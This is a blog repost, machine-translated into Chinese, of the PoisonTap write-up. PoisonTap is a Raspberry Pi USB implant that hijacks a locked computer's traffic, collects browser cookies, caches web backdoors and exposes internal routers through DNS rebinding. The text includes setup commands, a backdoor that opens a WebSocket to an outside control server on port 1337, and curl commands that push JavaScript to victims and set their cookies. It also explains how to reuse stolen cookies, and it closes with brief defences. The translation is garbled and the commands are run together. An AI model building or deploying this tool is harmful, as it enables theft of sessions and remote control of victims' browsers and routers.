PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

PoisonTap – 虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

由@SamyKamkar创建||https://samy.pl

当PoisonTap(Raspberry Pi Zero&Node.js)插入到受锁/受密码保护的计算机中时,它:

  • 通过USB(或Thunderbolt)模拟以太网设备

  • 劫持来自机器的所有互联网流量(尽管是低优先级/未知网络接口)

  • 虹吸并存储来自网络浏览器的HTTP Cookie和会话,用于Alexa前100万个网站

  • 将内部路由器暴露给攻击者,使其可通过出站WebSocket和DNS重新绑定(远程访问Matt Austin进行重新绑定)!

  • 在HTTP缓存中为数十万个域和常见的Javascript CDN URL安装一个持久的基于Web的后门,所有这些都可以通过缓存中毒访问用户的cookie

  • 允许攻击者远程强制用户使用任何退回的域中的用户的Cookie进行HTTP请求和代理回复(GET&POST)

  • 它不要求机器被解锁

  • 后门和远程访问仍然存在,即使在设备被删除并且攻击者之后移动

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

(Ara令人难以置信的HTML5画布动画)

PoisonTap避免了以下安全机制:

  • 密码保护锁屏

  • 路由表优先级和网络接口服务订单

  • 同源政策

  • X-框架,选项

  • HttpOnly Cookies

  • SameSite cookie属性

  • 双因素/多因素认证(2FA / MFA)

  • DNS固定

  • 跨原始资源共享(CORS)

  • HTTPS的cookie保护当安全 cookie的标志和HSTS未启用


演示

PoisonTap是为$ 5 Raspberry Pi Zero而设计的,除了micro-USB电缆和microSD卡之外,还可以使用任何其他组件,或者可以使用以太网到USB / Thunderbolt加密狗的任何Raspberry Pi(1/2/3)工作,或可以在可以模拟USB小工具的其他设备上工作,如USB Armory和LAN Turtle。

视频中的实时演示和更多详细信息:

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

联络点: @SamyKamkar //https://samy.pl

发布日期: 2016 年 11月16日

源代码和下载: https://github.com/samyk/poisontap


毒药塔如何运作

PoisonTap通过利用机器和网络的各种机制(包括USB / Thunderbolt,DHCP,DNS和HTTP)的现有信任来产生级联效应,以产生信息渗透,网络访问和半永久后门的安装的雪球效应。

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

简而言之,PoisonTap执行以下操作:

网络劫持

  • 攻击者将PoisonTap(如武器化的Raspberry Pi Zero)插入锁定的计算机(即使计算机受密码保护)

  • PoisonTap模拟以太网设备(例如,通过USB / Thunderbolt的以太网) – 默认情况下,Windows,OS X和Linux识别以太网设备,自动将其作为低优先级网络设备加载并执行DHCP请求,即使机器被锁定或密码保护

  • PoisonTap响应DHCP请求并向机器提供IP地址,但是DHCP响应是为了告诉机器整个IPv4空间(0.0.0.0 – 255.255.255.255)是PoisonTap本地网络的一部分,而不是一个小子网(例如192.168.0.0 – 192.168.0.255)

  • 通常,如果辅助网络设备连接到一台机器,那么它将比现有的(受信任的)网络设备的优先级低,并且不会取代网关以进行互联网流量,这是不重要的,但是…

  • 由于“互联网流量”的“LAN流量”的优先级,任何路由表/网关优先级/网络接口服务订单安全性被绕过,

  • PoisonTap利用此网络接入,甚至作为一个低优先级的网络设备,因为该子网 A的低优先级的网络设备比给予更高的优先级网关的的(默认路由)最高优先级的网络设备

  • 这意味着如果流量注定为1.2.3.4,通常这个流量会达到主(非PoisonTap)网络设备的默认路由/网关,PoisonTap实际上会获得流量,因为PoisonTap“本地”网络/子网据说包含1.2 .3.4,存在的其他IP地址;

  • 因此,即使机器连接到具有较高优先级的网络设备和正确的网关(真正的WiFi,以太网等),所有互联网流量都会超过PoisonTap。

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

饼干虹吸

  • 只要Web浏览器运行后台,开放页面之一可能会在后台执行HTTP请求(例如,加载新广告,将数据发送到分析平台,或者只是继续跟踪您的网页)运动)通过AJAX或动态脚本/ iframe标签

  • 您可以自己看到这一点,进入您的devtools /检查员(通常为Cmd + Shift + I或Ctrl + Shift + I),访问访问量很大的网站,点击网络标签,并观看远程资源继续访问即使你在页面上没有采取任何行动

  • 根据此HTTP请求,由于所有流量退出到PoisonTap设备上,PoisonTap DNS即时传播返回自己的地址,导致HTTP请求命中PoisonTap Web服务器(Node.js)

  • 如果DNS服务器指向PoisonTap无法获得特权的内部IP(LAN),攻击将继续发挥作用,因为内部DNS服务器将为各种被攻击的域产生公共IP地址,而这是公共IP地址PoisonTap已经劫持

  • 一旦内部DNS服务器做出响应,Web浏览器就会触发公共IP,最终在任一情况下击中PoisonTap Web服务器(Node.js)

  • 当Node Web服务器接收到请求时,PoisonTap会响应一个可以解释为HTML或Javascript的响应,两者都能正常执行(许多网站将在后台请求中加载HTML或JS)

  • HTML / JS不可知页面然后生成许多隐藏的iframe,每个iframe跨不同的Alexa-top-100万域

  • 域名上的任何“X-Frame-Options”安全性被忽略,因为PoisonTap现在是HTTP服务器,并选择要发送给客户端的头文件

  • 随着对站点的每个iframe HTTP请求(例如http://nfl.com/PoisonTap),HTTP Cookie从浏览器发送到被PoisonTap劫持的“公共IP”,它迅速记录cookie /身份验证信息将数万个用户的Cookie记录到PoisonTap中

  • 任何“HttpOnly”cookie安全性被绕过,并且这些cookie被捕获,因为在域本身上没有执行Javascript,而是仅用于首先加载iframe

  • 任何跨原始资源共享或同源策略安全性被绕过,因为访问域看起来对浏览器是合法的

  • 因为我们正在抓取Cookie而不是凭据,所以当攻击者使用cookie登录时,网站上实现的任何2FA / MFA都将被绕过。这是因为我们还没有实际执行的登录功能,而是继续已经登录这不会话不会触发双因素身份验证

  • 如果服务器正在使用HTTPS,但是Cookie并未明确设置Secure Cookie标志,则HTTPS保护被绕过,并将该cookie发送到PoisonTap

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

可远程访问的基于Web的后门

  • 虽然PoisonTap正在产生成千上万的I帧,迫使浏览器加载每一个,这些iframe会并不只是空白页面,而是HTML +的Javascript后门被无限期缓存

  • 因为PoisonTap强制将这些后门缓存在每个域上,所以后门绑定到该域,使攻击者能够使用域的cookie,并在将来启动同源请求,即使用户当前未登录

  • 例如,当http://nfl.com/PoisonTap iframe加载时,PoisonTap接受转移的Internet流量,通过Node web服务器响应HTTP请求

  • 添加额外的HTTP头以无限期缓存该页面

  • 该页面的实际响应是HTML和Javascript的组合,它会向攻击者的Web服务器(通过Internet而不是PoisonTap设备)生成一个持久的WebSocket,

  • WebSocket保持打开,允许攻击者在将来的任何时间连接回退回机器,并执行任何具有后门实现的源代码(Alexa的前100万个站点 – 见下文)

  • 如果后门在一个站点(例如,nfl.com)上打开,但用户希望攻击不同的域(例如pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门(http://pinterest.com/PoisonTap)

  • 再次,域上的任何“X框架选项”,跨原始资源共享和同源策略安全性完全被忽略,因为请求将触发PoisonTap离开的缓存,而不是真正的域

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

内部路由器后门和远程访问

  • 一个网络PoisonTap不能劫持是真实网络接口的实际LAN子网(例如,如果用户的wifi子网为192.168.0.x,则该网络不受影响),但…

  • PoisonTap强制将一个后门缓存在一个特殊的主机上,特别是目标路由器的IP前身为“.ip.samy.pl”,例如192.168.0.1.ip.samy.pl,本质上是产生持久的 DNS重绑定攻击

  • 当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap会临时响应专门的PoisonTap IP(1.0.0.1),这意味着当时的任何请求都将触发PoisonTap Web服务器

  • 如果DNS服务器设置为内部网络(例如192.168.0.x),则会另外特别要求1.0.0.1 **。pin。** ip.samy.pl告诉我的专用DNS服务器(在公共互联网上)暂时响应任何[ip.address] .ip.samy.pl地址与“固定”地址(1.0.0.1)几秒钟

  • 然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置了一个后门,该漏洞目前指向1.0.0.1的PoisonTap设备,允许从PoisonTap设备访问并缓存后门

  • DNS绑定和DNS重新绑定的安全性被绕过由于DNS绑定表的耗尽,由于以前成千上万的请求,并且将来不需要重新绑定,这使得这种攻击持续了很长一段时间(由于马特奥斯汀与我分享这次攻击!)

  • 现在,一个后门被强制缓存到http://192.168.0.1.ip.samy.pl/PoisonTap,任何将来对192.168.0.1.ip.samy.pl的请求将会打到未被解除的 IP地址,导致192.168.0.1要解决,直接指向路由器

  • 这意味着如果通过后门远程加载iframe中的192.168.0.1.ip.samy.pl/PoisonTap主机,您现在可以对内部路由器上的任何其他页面执行AJAX GET / POSTs ,完全远程,从而允许远程访问内部路由器

  • 这可能导致攻击者可能从未访问过的路由器的其他攻击,例如用于覆盖DNS服务器的路由器上的默认管理员凭据,或其他身份验证漏洞

PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

DNS服务器的概述:

  • [ip.addy] .ip.samy.pl 通常用[ip.addy]

  • 192.168.0.1.ip.samy.pl – >192.168.0.1(A记录)

  • [ip.addy] .pin.ip.samy.pl 暂时(〜5 秒)分* .ip.samy.pl到[ip.addy]

  • 1.0.0.1.pin.ip.samy.pl – >1.0.0.1

  • 192.168.0.1.ip.samy.pl – >1.0.0.1(A记录,短TTL)

  • (约5秒钟后)

  • 192.168.0.1.ip.samy.pl – >192.168.0.1(A记录)

其他可远程访问的基于Web的后门

  • 此外,PoisonTap替代了成千上万种常见的基于CDN的Javascript文件,例如Google和jQuery CDN,使用正确的代码加上一个后门,使攻击者可以访问任何加载受感染的基于CDN的Javascript文件的域

  • 因为每个域都有一个后门,这样就可以让攻击者远程强制后退的浏览器在几乎任何主要的域上执行相同的起始请求(AJAX GET / POST),即使受害者目前没有任何打开的窗口域

  • 后门将现在生活在任何其他网站上,当受害者访问该网站时,还会使用这些受感染的基于HTTP的CDN Javascript框架之一


PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

保护毒药

服务器端安全性

如果您正在运行一个Web服务器,那么防范PoisonTap就很简单:

  • 至少使用HTTPS进行认证和验证的内容

  • 老实说,您应该专门使用HTTPS,并始终将HTTP内容重定向到HTTPS,以防止用户被欺骗提供凭据或通过HTTP提供其他PII

  • 确保Cookie上启用了安全标志,防止HTTPS Cookie通过HTTP泄漏

  • 使用远程JavaScript资源时,请使用Subresource Integrity脚本标记属性

  • 使用HSTS来防止HTTPS降级攻击

桌面安全

  • 将水泥添加到USB和Thunderbolt端口可以有效

  • 每次离开机器时关闭浏览器都可以工作,但完全不切实际

  • 禁用USB / Thunderbolt端口也是有效的,尽管也是不切实际的

  • 锁定电脑没有任何效果,因为网络和USB堆栈在机器被锁定时运行,但是,进入加密睡眠模式,需要密钥来解密内存(例如FileVault2 +深度睡眠)解决了大多数问题,作为您的浏览器将不再提出请求,即使唤醒


下载

|

源代码: https://github.com/samyk/poisontap

|

安装/文件分解

注意:如果您发现设备不是自动作为以太网控制器(例如Windows的旧版本),则可以在pi_startup.sh中更改VID和PID

#指令从https://gist.github.com/gbaman/50b6cca61dd1c3f88f41调整sudo bash#如果Raspbian BEFORE甚至-10,那么运行下一行:BRANCH = next rpi-updateecho -e “  nauto usb0  nallow-hotplug usb0  niface usb0 inet static  n  taddress 1.0.0.1  n  tnetmask 0.0.0.0 ” >>/ etc / network / interfaces echo “ dtoverlay = dwc2 ” >>/ boot /config.txt echo -e “ dwc2  ng_ether ” >>/ etc / modulessudo sed -in-place “ / exit 0 / d ” /etc/rc.local echo “ / bin / sh /home/pi/poisontap/pi_startup.sh ” >>/etc/rc.localmkdir / home / pi / poisontapchown -R pi / home / pi / poisontapapt-get update &

&

apt-get升级apt-get -y安装isc-dhcp-server dsniff screen nodejs

将dhcpd.conf放在/etc/dhcp/dhcpd.conf中,然后将其他文件放在/ home / pi / poisontap中,然后重新启动以确保一切正常。

repo中有多个文件,它们在不同的方面使用。列表:

  • backdoor.html – 每当一个http:// hostname / PoisonTap URL被命名为exfiltrate cookies时,这个文件是作为强制缓存的内容返回的。它包含一个后门,它产生一个出站的websocket到samy.pl:1337(可调整到任何主机/端口),等待命令从服务器继续打开。这意味着当您在网站上加载iframe(例如http:// hostname / PoisonTap)时,即使在从机器中删除PoisonTap之后,这也是填充的内容。

  • backend_server.js – 这是您在Internet可访问的服务器上运行的Node.js服务器。这是backdoor.html连接的(例如,samy.pl:1337)。这是与您连接的命令相同的服务器,以发送到您的PoisonTapped小型机器,例如

#流行警惕受害者 卷曲 ' http://samy.pl:1337/exec?alert("muahahahaha“)‘ #设置在受害人一个cookie 卷曲 ’ http://samy.pl:1337/exec?document.cookie =“key = value” ' #强制受害者通过ajax加载一个url(注意,jQuery存储在后门) curl'http: //samy.pl:1337/exec?$.get( " http:// 192.168.0.1.ip.samy.pl/login",function(d){console.log(d)  })'
  • pi_poisontap.js – 这是通过Raspberry Pi Zero上的Node.js运行的,是HTTP服务器,负责处理由PoisonTap拦截的任何HTTP请求,存储虹吸cookie,并注入缓存的后门。

  • pi_startup.sh – 在Raspberry Pi Zero启动时运行,以便将设备设置为模拟USB以太网小工具,设置我们的恶意DHCP服务器,允许流量重新路由,DNS欺骗,并启动pi_poisontap.js以上。

  • target_backdoor.js – 此文件是与任何CDN相关的Javascript文件,因此后门他们,例如Google CDN的jQuery网址。

  • target_injected_xhtmljs.html – 这是在受害者机器上注入到无意/后台HTTP / AJAX请求中的代码,并产生了整个攻击。它的构造方式是将其解释为HTML或Javascript,并仍然执行相同的代码。另外,惊人的HTML5画布是由令人难以置信的Ara oen CodePen,是太惊人,不包括。这是当页面被PoisonTap接管时出现的图形化疯狂。

  • poisontap.cookies.log – 一旦用户的机器开始向PoisonTap发送HTTP请求,就会生成此文件,并将该cookie与浏览器及其所属的相关联的URL /域一起记录下来。


经常问的问题

  • 问:如何添加要退回的其他域?

target_injected_xhtmljs.html

getDoms()

  • 函数设置。这本身就由

alexa1m.sh

  • repo根目录中的脚本填充。如果您希望在此列表中添加其他域名,您可以简单地修改返回呼叫

getDoms()

  • A:要退回的域列表

  • 问:您如何使用捕获的Cookie?

  • A:您可以直接从浏览器中的JavaScript控制台使用Document.cookie API来设置Cookie。此StackOverflow文章还提供了一些Chrome特定的建议,例如Cookie检查器Chrome扩展程序。

原文始发于:PoisonTap-虹吸cookie,暴露内部路由器并在已锁定的计算机上安装Web后门

|

发表评论